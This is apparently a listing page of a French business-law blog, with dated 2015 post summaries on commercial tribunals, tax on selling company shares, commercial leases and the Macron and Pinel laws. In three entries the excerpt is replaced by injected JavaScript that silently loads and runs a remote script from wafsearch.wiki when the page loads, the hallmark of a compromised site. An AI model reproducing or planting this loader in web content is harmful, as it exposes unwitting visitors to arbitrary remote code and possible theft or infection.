Agenda
Il faut sauver le tribunal de commerce de Dijon !
15 octobre 2015La loi dite « MACRON » votée cet été prévoit la spécialisation de certains tribunaux de commerce, notamment pour les procédures collectives ouvertes…
Lire plusComment réduire l’impôt sur la cession des titres de votre société ?
23 septembre 2015La taxation des revenus du capital étant désormais calqués sur ceux du travail, la plus-value réalisée lors de la cession des…
Lire plusPiqure de rappel sur les difficultés de trésorerie
16 septembre 2015L’été sera chaud. Comme chaque été, la fermeture totale ou partielle des entreprises, liée au départ en congés légitime de ses…
Lire plusLa résidence principale de l’entrepreneur individuel devient insaisissable.
25 août 2015var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script); Lire plus
Accessibilité qui prendra en charge les travaux de mise aux normes : le locataire ou le bailleur ?
9 août 2015La loi du 11 février 2005 pour l’égalité des droits et des chances, la participation et la citoyenneté des personnes handicapées, dite…
Lire plusOh’Pinel : ta loi manque de tranchant !
9 août 2015var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script); Lire plus
Réforme des baux commerciaux : Quelles nouveautés ?
8 août 2015La « Loi PINEL » (Loi n° 2014-626 du 18 juin 2014) comporte de nombreuses dispositions modifiant le statut des baux commerciaux….
Lire plusMobilisation contre la loi Macron aux cotés des professions réglementées
28 février 2015var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script); Lire plus
Comment liquider ses dettes pour éviter de liquider sa boîte ?
29 janvier 2015Eric SEUTET – WikiStage GESICA
Lire plusActionnaires minoritaires : faites valoir vos droits !
9 janvier 2015En règle générale, tous les actionnaires disposent de droits pécuniaires et non pécuniaires attachés à leurs actions. Les droits pécuniaires consistent…
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